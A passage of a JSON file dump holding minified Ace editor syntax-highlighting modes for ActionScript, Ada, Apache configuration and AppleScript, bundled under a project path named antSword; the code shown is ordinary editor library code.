?:od)?|diaType)|a(?:nufacturer|tch|x(?:scroll|hscroll|imum|HPosition|Chars|VPosition)?)|b(?:substring|chr|ord|length))|b(?:ytes(?:Total|Loaded)|indFormat(?:Strings|Function)|o(?:ttom(?:Scroll)?|ld|rder(?:Color)?)|u(?:tton(?:Height|Width)|iltInItems|ffer(?:Time|Length)|llet)|e(?:foreApplyUpdates|gin(?:GradientFill|Fill))|lockIndent|a(?:ndwidth|ckground(?:Style|Color|Disabled)?)|roadcastMessage)|onHTTPStatus)\\\\b\"},{token:\"support.constant.actionscript.2\",regex:\"\\\\b(?:__proto__|__resolve|_accProps|_alpha|_changed|_currentframe|_droptarget|_flash|_focusrect|_framesloaded|_global|_height|_highquality|_level|_listeners|_lockroot|_name|_parent|_quality|_root|_rotation|_soundbuftime|_target|_totalframes|_url|_visible|_width|_x|_xmouse|_xscale|_y|_ymouse|_yscale)\\\\b\"},{token:\"keyword.control.actionscript.2\",regex:\"\\\\b(?:dynamic|extends|import|implements|interface|public|private|new|static|super|var|for|in|break|continue|while|do|return|if|else|case|switch)\\\\b\"},{token:\"storage.type.actionscript.2\",regex:\"\\\\b(?:Boolean|Number|String|Void)\\\\b\"},{token:\"constant.language.actionscript.2\",regex:\"\\\\b(?:null|undefined|true|false)\\\\b\"},{token:\"constant.numeric.actionscript.2\",regex:\"\\\\b(?:0(?:x|X)[0-9a-fA-F]*|(?:[0-9]+\\\\.?[0-9]*|\\\\.[0-9]+)(?:(?:e|E)(?:\\\\+|-)?[0-9]+)?)(?:L|l|UL|ul|u|U|F|f)?\\\\b\"},{token:\"punctuation.definition.string.begin.actionscript.2\",regex:'\"',push:[{token:\"punctuation.definition.string.end.actionscript.2\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.actionscript.2\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.double.actionscript.2\"}]},{token:\"punctuation.definition.string.begin.actionscript.2\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.actionscript.2\",regex:\"'\",next:\"pop\"},{token:\"constant.character.escape.actionscript.2\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.single.actionscript.2\"}]},{token:\"support.constant.actionscript.2\",regex:\"\\\\b(?:BACKSPACE|CAPSLOCK|CONTROL|DELETEKEY|DOWN|END|ENTER|HOME|INSERT|LEFT|LN10|LN2|LOG10E|LOG2E|MAX_VALUE|MIN_VALUE|NEGATIVE_INFINITY|NaN|PGDN|PGUP|PI|POSITIVE_INFINITY|RIGHT|SPACE|SQRT1_2|SQRT2|UP)\\\\b\"},{token:\"punctuation.definition.comment.actionscript.2\",regex:\"/\\\\*\",push:[{token:\"punctuation.definition.comment.actionscript.2\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.actionscript.2\"}]},{token:\"punctuation.definition.comment.actionscript.2\",regex:\"//.*$\",push_:[{token:\"comment.line.double-slash.actionscript.2\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.double-slash.actionscript.2\"}]},{token:\"keyword.operator.actionscript.2\",regex:\"\\\\binstanceof\\\\b\"},{token:\"keyword.operator.symbolic.actionscript.2\",regex:\"[-!%&*+=/?:]\"},{token:[\"meta.preprocessor.actionscript.2\",\"punctuation.definition.preprocessor.actionscript.2\",\"meta.preprocessor.actionscript.2\"],regex:\"^([ \\\\t]*)(#)([a-zA-Z]+)\"},{token:[\"storage.type.function.actionscript.2\",\"meta.function.actionscript.2\",\"entity.name.function.actionscript.2\",\"meta.function.actionscript.2\",\"punctuation.definition.parameters.begin.actionscript.2\"],regex:\"\\\\b(function)(\\\\s+)([a-zA-Z_]\\\\w*)(\\\\s*)(\\\\()\",push:[{token:\"punctuation.definition.parameters.end.actionscript.2\",regex:\"\\\\)\",next:\"pop\"},{token:\"variable.parameter.function.actionscript.2\",regex:\"[^,)$]+\"},{defaultToken:\"meta.function.actionscript.2\"}]},{token:[\"storage.type.class.actionscript.2\",\"meta.class.actionscript.2\",\"entity.name.type.class.actionscript.2\",\"meta.class.actionscript.2\",\"storage.modifier.extends.actionscript.2\",\"meta.class.actionscript.2\",\"entity.other.inherited-class.actionscript.2\"],regex:\"\\\\b(class)(\\\\s+)([a-zA-Z_](?:\\\\w|\\\\.)*)(?:(\\\\s+)(extends)(\\\\s+)([a-zA-Z_](?:\\\\w|\\\\.)*))?\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"as\"],keyEquivalent:\"^~A\",name:\"ActionScript\",scopeName:\"source.actionscript.2\"},r.inherits(s,i),t.ActionScriptHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/actionscript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/actionscript_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./actionscript_highlight_rules\").ActionScriptHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/actionscript\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-ada.js",
    "content": "ace.define(\"ace/mode/ada_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"abort|else|new|return|abs|elsif|not|reverse|abstract|end|null|accept|entry|select|access|exception|of|separate|aliased|exit|or|some|all|others|subtype|and|for|out|synchronized|array|function|overriding|at|tagged|generic|package|task|begin|goto|pragma|terminate|body|private|then|if|procedure|type|case|in|protected|constant|interface|until||is|raise|use|declare|range|delay|limited|record|when|delta|loop|rem|while|digits|renames|with|do|mod|requeue|xor\",t=\"true|false|null\",n=\"count|min|max|avg|sum|rank|now|coalesce|main\",r=this.createKeywordMapper({\"support.function\":n,keyword:e,\"constant.language\":t},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(s,i),t.AdaHighlightRules=s}),ace.define(\"ace/mode/ada\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ada_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ada_highlight_rules\").AdaHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.$id=\"ace/mode/ada\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-apache_conf.js",
    "content": "ace.define(\"ace/mode/apache_conf_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"punctuation.definition.comment.apacheconf\",\"comment.line.hash.ini\",\"comment.line.hash.ini\"],regex:\"^((?:\\\\s)*)(#)(.*$)\"},{token:[\"punctuation.definition.tag.apacheconf\",\"entity.tag.apacheconf\",\"text\",\"string.value.apacheconf\",\"punctuation.definition.tag.apacheconf\"],regex:\"(<)(Proxy|ProxyMatch|IfVersion|Directory|DirectoryMatch|Files|FilesMatch|IfDefine|IfModule|Limit|LimitExcept|Location|LocationMatch|VirtualHost)(?:(\\\\s)(.+?))?(>)\"},{token:[\"punctuation.definition.tag.apacheconf\",\"entity.tag.apacheconf\",\"punctuation.definition.tag.apacheconf\"],regex:\"(</)(Proxy|ProxyMatch|IfVersion|Directory|DirectoryMatch|Files|FilesMatch|IfDefine|IfModule|Limit|LimitExcept|Location|LocationMatch|VirtualHost)(>)\"},{token:[\"keyword.alias.apacheconf\",\"text\",\"string.regexp.apacheconf\",\"text\",\"string.replacement.apacheconf\",\"text\"],regex:\"(Rewrite(?:Rule|Cond))(\\\\s+)(.+?)(\\\\s+)(.+?)($|\\\\s)\"},{token:[\"keyword.alias.apacheconf\",\"text\",\"entity.status.apacheconf\",\"text\",\"string.regexp.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\"],regex:\"(RedirectMatch)(?:(\\\\s+)(\\\\d\\\\d\\\\d|permanent|temp|seeother|gone))?(\\\\s+)(.+?)(\\\\s+)(?:(.+?)($|\\\\s))?\"},{token:[\"keyword.alias.apacheconf\",\"text\",\"entity.status.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\"],regex:\"(Redirect)(?:(\\\\s+)(\\\\d\\\\d\\\\d|permanent|temp|seeother|gone))?(\\\\s+)(.+?)(\\\\s+)(?:(.+?)($|\\\\s))?\"},{token:[\"keyword.alias.apacheconf\",\"text\",\"string.regexp.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\"],regex:\"(ScriptAliasMatch|AliasMatch)(\\\\s+)(.+?)(\\\\s+)(?:(.+?)(\\\\s))?\"},{token:[\"keyword.alias.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\"],regex:\"(RedirectPermanent|RedirectTemp|ScriptAlias|Alias)(\\\\s+)(.+?)(\\\\s+)(?:(.+?)($|\\\\s))?\"},{token:\"keyword.core.apacheconf\",regex:\"\\\\b(?:AcceptPathInfo|AccessFileName|AddDefaultCharset|AddOutputFilterByType|AllowEncodedSlashes|AllowOverride|AuthName|AuthType|CGIMapExtension|ContentDigest|DefaultType|DocumentRoot|EnableMMAP|EnableSendfile|ErrorDocument|ErrorLog|FileETag|ForceType|HostnameLookups|IdentityCheck|Include|KeepAlive|KeepAliveTimeout|LimitInternalRecursion|LimitRequestBody|LimitRequestFields|LimitRequestFieldSize|LimitRequestLine|LimitXMLRequestBody|LogLevel|MaxKeepAliveRequests|NameVirtualHost|Options|Require|RLimitCPU|RLimitMEM|RLimitNPROC|Satisfy|ScriptInterpreterSource|ServerAdmin|ServerAlias|ServerName|ServerPath|ServerRoot|ServerSignature|ServerTokens|SetHandler|SetInputFilter|SetOutputFilter|TimeOut|TraceEnable|UseCanonicalName)\\\\b\"},{token:\"keyword.mpm.apacheconf\",regex:\"\\\\b(?:AcceptMutex|AssignUserID|BS2000Account|ChildPerUserID|CoreDumpDirectory|EnableExceptionHook|Group|Listen|ListenBacklog|LockFile|MaxClients|MaxMemFree|MaxRequestsPerChild|MaxRequestsPerThread|MaxSpareServers|MaxSpareThreads|MaxThreads|MaxThreadsPerChild|MinSpareServers|MinSpareThreads|NumServers|PidFile|ReceiveBufferSize|ScoreBoardFile|SendBufferSize|ServerLimit|StartServers|StartThreads|ThreadLimit|ThreadsPerChild|ThreadStackSize|User|Win32DisableAcceptEx)\\\\b\"},{token:\"keyword.access.apacheconf\",regex:\"\\\\b(?:Allow|Deny|Order)\\\\b\"},{token:\"keyword.actions.apacheconf\",regex:\"\\\\b(?:Action|Script)\\\\b\"},{token:\"keyword.alias.apacheconf\",regex:\"\\\\b(?:Alias|AliasMatch|Redirect|RedirectMatch|RedirectPermanent|RedirectTemp|ScriptAlias|ScriptAliasMatch)\\\\b\"},{token:\"keyword.auth.apacheconf\",regex:\"\\\\b(?:AuthAuthoritative|AuthGroupFile|AuthUserFile)\\\\b\"},{token:\"keyword.auth_anon.apacheconf\",regex:\"\\\\b(?:Anonymous|Anonymous_Authoritative|Anonymous_LogEmail|Anonymous_MustGiveEmail|Anonymous_NoUserID|Anonymous_VerifyEmail)\\\\b\"},{token:\"keyword.auth_dbm.apacheconf\",regex:\"\\\\b(?:AuthDBMAuthoritative|AuthDBMGroupFile|AuthDBMType|AuthDBMUserFile)\\\\b\"},{token:\"keyword.auth_digest.apacheconf\",regex:\"\\\\b(?:AuthDigestAlgorithm|AuthDigestDomain|AuthDigestFile|AuthDigestGroupFile|AuthDigestNcCheck|AuthDigestNonceFormat|AuthDigestNonceLifetime|AuthDigestQop|AuthDigestShmemSize)\\\\b\"},{token:\"keyword.auth_ldap.apacheconf\",regex:\"\\\\b(?:AuthLDAPAuthoritative|AuthLDAPBindDN|AuthLDAPBindPassword|AuthLDAPCharsetConfig|AuthLDAPCompareDNOnServer|AuthLDAPDereferenceAliases|AuthLDAPEnabled|AuthLDAPFrontPageHack|AuthLDAPGroupAttribute|AuthLDAPGroupAttributeIsDN|AuthLDAPRemoteUserIsDN|AuthLDAPUrl)\\\\b\"},{token:\"keyword.autoindex.apacheconf\",regex:\"\\\\b(?:AddAlt|AddAltByEncoding|AddAltByType|AddDescription|AddIcon|AddIconByEncoding|AddIconByType|DefaultIcon|HeaderName|IndexIgnore|IndexOptions|IndexOrderDefault|ReadmeName)\\\\b\"},{token:\"keyword.cache.apacheconf\",regex:\"\\\\b(?:CacheDefaultExpire|CacheDisable|CacheEnable|CacheForceCompletion|CacheIgnoreCacheControl|CacheIgnoreHeaders|CacheIgnoreNoLastMod|CacheLastModifiedFactor|CacheMaxExpire)\\\\b\"},{token:\"keyword.cern_meta.apacheconf\",regex:\"\\\\b(?:MetaDir|MetaFiles|MetaSuffix)\\\\b\"},{token:\"keyword.cgi.apacheconf\",regex:\"\\\\b(?:ScriptLog|ScriptLogBuffer|ScriptLogLength)\\\\b\"},{token:\"keyword.cgid.apacheconf\",regex:\"\\\\b(?:ScriptLog|ScriptLogBuffer|ScriptLogLength|ScriptSock)\\\\b\"},{token:\"keyword.charset_lite.apacheconf\",regex:\"\\\\b(?:CharsetDefault|CharsetOptions|CharsetSourceEnc)\\\\b\"},{token:\"keyword.dav.apacheconf\",regex:\"\\\\b(?:Dav|DavDepthInfinity|DavMinTimeout|DavLockDB)\\\\b\"},{token:\"keyword.deflate.apacheconf\",regex:\"\\\\b(?:DeflateBufferSize|DeflateCompressionLevel|DeflateFilterNote|DeflateMemLevel|DeflateWindowSize)\\\\b\"},{token:\"keyword.dir.apacheconf\",regex:\"\\\\b(?:DirectoryIndex|DirectorySlash)\\\\b\"},{token:\"keyword.disk_cache.apacheconf\",regex:\"\\\\b(?:CacheDirLength|CacheDirLevels|CacheExpiryCheck|CacheGcClean|CacheGcDaily|CacheGcInterval|CacheGcMemUsage|CacheGcUnused|CacheMaxFileSize|CacheMinFileSize|CacheRoot|CacheSize|CacheTimeMargin)\\\\b\"},{token:\"keyword.dumpio.apacheconf\",regex:\"\\\\b(?:DumpIOInput|DumpIOOutput)\\\\b\"},{token:\"keyword.env.apacheconf\",regex:\"\\\\b(?:PassEnv|SetEnv|UnsetEnv)\\\\b\"},{token:\"keyword.expires.apacheconf\",regex:\"\\\\b(?:ExpiresActive|ExpiresByType|ExpiresDefault)\\\\b\"},{token:\"keyword.ext_filter.apacheconf\",regex:\"\\\\b(?:ExtFilterDefine|ExtFilterOptions)\\\\b\"},{token:\"keyword.file_cache.apacheconf\",regex:\"\\\\b(?:CacheFile|MMapFile)\\\\b\"},{token:\"keyword.headers.apacheconf\",regex:\"\\\\b(?:Header|RequestHeader)\\\\b\"},{token:\"keyword.imap.apacheconf\",regex:\"\\\\b(?:ImapBase|ImapDefault|ImapMenu)\\\\b\"},{token:\"keyword.include.apacheconf\",regex:\"\\\\b(?:SSIEndTag|SSIErrorMsg|SSIStartTag|SSITimeFormat|SSIUndefinedEcho|XBitHack)\\\\b\"},{token:\"keyword.isapi.apacheconf\",regex:\"\\\\b(?:ISAPIAppendLogToErrors|ISAPIAppendLogToQuery|ISAPICacheFile|ISAPIFakeAsync|ISAPILogNotSupported|ISAPIReadAheadBuffer)\\\\b\"},{token:\"keyword.ldap.apacheconf\",regex:\"\\\\b(?:LDAPCacheEntries|LDAPCacheTTL|LDAPConnectionTimeout|LDAPOpCacheEntries|LDAPOpCacheTTL|LDAPSharedCacheFile|LDAPSharedCacheSize|LDAPTrustedCA|LDAPTrustedCAType)\\\\b\"},{token:\"keyword.log.apacheconf\",regex:\"\\\\b(?:BufferedLogs|CookieLog|CustomLog|LogFormat|TransferLog|ForensicLog)\\\\b\"},{token:\"keyword.mem_cache.apacheconf\",regex:\"\\\\b(?:MCacheMaxObjectCount|MCacheMaxObjectSize|MCacheMaxStreamingBuffer|MCacheMinObjectSize|MCacheRemovalAlgorithm|MCacheSize)\\\\b\"},{token:\"keyword.mime.apacheconf\",regex:\"\\\\b(?:AddCharset|AddEncoding|AddHandler|AddInputFilter|AddLanguage|AddOutputFilter|AddType|DefaultLanguage|ModMimeUsePathInfo|MultiviewsMatch|RemoveCharset|RemoveEncoding|RemoveHandler|RemoveInputFilter|RemoveLanguage|RemoveOutputFilter|RemoveType|TypesConfig)\\\\b\"},{token:\"keyword.misc.apacheconf\",regex:\"\\\\b(?:ProtocolEcho|Example|AddModuleInfo|MimeMagicFile|CheckSpelling|ExtendedStatus|SuexecUserGroup|UserDir)\\\\b\"},{token:\"keyword.negotiation.apacheconf\",regex:\"\\\\b(?:CacheNegotiatedDocs|ForceLanguagePriority|LanguagePriority)\\\\b\"},{token:\"keyword.nw_ssl.apacheconf\",regex:\"\\\\b(?:NWSSLTrustedCerts|NWSSLUpgradeable|SecureListen)\\\\b\"},{token:\"keyword.proxy.apacheconf\",regex:\"\\\\b(?:AllowCONNECT|NoProxy|ProxyBadHeader|ProxyBlock|ProxyDomain|ProxyErrorOverride|ProxyFtpDirCharset|ProxyIOBufferSize|ProxyMaxForwards|ProxyPass|ProxyPassReverse|ProxyPreserveHost|ProxyReceiveBufferSize|ProxyRemote|ProxyRemoteMatch|ProxyRequests|ProxyTimeout|ProxyVia)\\\\b\"},{token:\"keyword.rewrite.apacheconf\",regex:\"\\\\b(?:RewriteBase|RewriteCond|RewriteEngine|RewriteLock|RewriteLog|RewriteLogLevel|RewriteMap|RewriteOptions|RewriteRule)\\\\b\"},{token:\"keyword.setenvif.apacheconf\",regex:\"\\\\b(?:BrowserMatch|BrowserMatchNoCase|SetEnvIf|SetEnvIfNoCase)\\\\b\"},{token:\"keyword.so.apacheconf\",regex:\"\\\\b(?:LoadFile|LoadModule)\\\\b\"},{token:\"keyword.ssl.apacheconf\",regex:\"\\\\b(?:SSLCACertificateFile|SSLCACertificatePath|SSLCARevocationFile|SSLCARevocationPath|SSLCertificateChainFile|SSLCertificateFile|SSLCertificateKeyFile|SSLCipherSuite|SSLEngine|SSLMutex|SSLOptions|SSLPassPhraseDialog|SSLProtocol|SSLProxyCACertificateFile|SSLProxyCACertificatePath|SSLProxyCARevocationFile|SSLProxyCARevocationPath|SSLProxyCipherSuite|SSLProxyEngine|SSLProxyMachineCertificateFile|SSLProxyMachineCertificatePath|SSLProxyProtocol|SSLProxyVerify|SSLProxyVerifyDepth|SSLRandomSeed|SSLRequire|SSLRequireSSL|SSLSessionCache|SSLSessionCacheTimeout|SSLUserName|SSLVerifyClient|SSLVerifyDepth)\\\\b\"},{token:\"keyword.usertrack.apacheconf\",regex:\"\\\\b(?:CookieDomain|CookieExpires|CookieName|CookieStyle|CookieTracking)\\\\b\"},{token:\"keyword.vhost_alias.apacheconf\",regex:\"\\\\b(?:VirtualDocumentRoot|VirtualDocumentRootIP|VirtualScriptAlias|VirtualScriptAliasIP)\\\\b\"},{token:[\"keyword.php.apacheconf\",\"text\",\"entity.property.apacheconf\",\"text\",\"string.value.apacheconf\",\"text\"],regex:\"\\\\b(php_value|php_flag)\\\\b(?:(\\\\s+)(.+?)(?:(\\\\s+)(.+?))?)?(\\\\s)\"},{token:[\"punctuation.variable.apacheconf\",\"variable.env.apacheconf\",\"variable.misc.apacheconf\",\"punctuation.variable.apacheconf\"],regex:\"(%\\\\{)(?:(HTTP_USER_AGENT|HTTP_REFERER|HTTP_COOKIE|HTTP_FORWARDED|HTTP_HOST|HTTP_PROXY_CONNECTION|HTTP_ACCEPT|REMOTE_ADDR|REMOTE_HOST|REMOTE_PORT|REMOTE_USER|REMOTE_IDENT|REQUEST_METHOD|SCRIPT_FILENAME|PATH_INFO|QUERY_STRING|AUTH_TYPE|DOCUMENT_ROOT|SERVER_ADMIN|SERVER_NAME|SERVER_ADDR|SERVER_PORT|SERVER_PROTOCOL|SERVER_SOFTWARE|TIME_YEAR|TIME_MON|TIME_DAY|TIME_HOUR|TIME_MIN|TIME_SEC|TIME_WDAY|TIME|API_VERSION|THE_REQUEST|REQUEST_URI|REQUEST_FILENAME|IS_SUBREQ|HTTPS)|(.*?))(\\\\})\"},{token:[\"entity.mime-type.apacheconf\",\"text\"],regex:\"\\\\b((?:text|image|application|video|audio)/.+?)(\\\\s)\"},{token:\"entity.helper.apacheconf\",regex:\"\\\\b(?:from|unset|set|on|off)\\\\b\",caseInsensitive:!0},{token:\"constant.integer.apacheconf\",regex:\"\\\\b\\\\d+\\\\b\"},{token:[\"text\",\"punctuation.definition.flag.apacheconf\",\"string.flag.apacheconf\",\"punctuation.definition.flag.apacheconf\",\"text\"],regex:\"(\\\\s)(\\\\[)(.*?)(\\\\])(\\\\s)\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"conf\",\"CONF\",\"htaccess\",\"HTACCESS\",\"htgroups\",\"HTGROUPS\",\"htpasswd\",\"HTPASSWD\",\".htaccess\",\".HTACCESS\",\".htgroups\",\".HTGROUPS\",\".htpasswd\",\".HTPASSWD\"],name:\"Apache Conf\",scopeName:\"source.apacheconf\"},r.inherits(s,i),t.ApacheConfHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/apache_conf\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/apache_conf_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./apache_conf_highlight_rules\").ApacheConfHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/apache_conf\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-applescript.js",
    "content": "ace.define(\"ace/mode/applescript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"about|above|after|against|and|around|as|at|back|before|beginning|behind|below|beneath|beside|between|but|by|considering|contain|contains|continue|copy|div|does|eighth|else|end|equal|equals|error|every|exit|fifth|first|for|fourth|from|front|get|given|global|if|ignoring|in|into|is|it|its|last|local|me|middle|mod|my|ninth|not|of|on|onto|or|over|prop|property|put|ref|reference|repeat|returning|script|second|set|seventh|since|sixth|some|tell|tenth|that|the|then|third|through|thru|timeout|times|to|transaction|try|until|where|while|whose|with|without\",t=\"AppleScript|false|linefeed|return|pi|quote|result|space|tab|true\",n=\"activate|beep|count|delay|launch|log|offset|read|round|run|say|summarize|write\",r=\"alias|application|boolean|class|constant|date|file|integer|list|number|real|record|string|text|character|characters|contents|day|frontmost|id|item|length|month|name|paragraph|paragraphs|rest|reverse|running|time|version|weekday|word|words|year\",i=this.createKeywordMapper({\"support.function\":n,\"constant.language\":t,\"support.type\":r,keyword:e},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},{token:\"comment\",regex:\"\\\\(\\\\*\",next:\"comment\"},{token:\"string\",regex:'\".*?\"'},{token:\"support.type\",regex:\"\\\\b(POSIX file|POSIX path|(date|time) string|quoted form)\\\\b\"},{token:\"support.function\",regex:\"\\\\b(clipboard info|the clipboard|info for|list 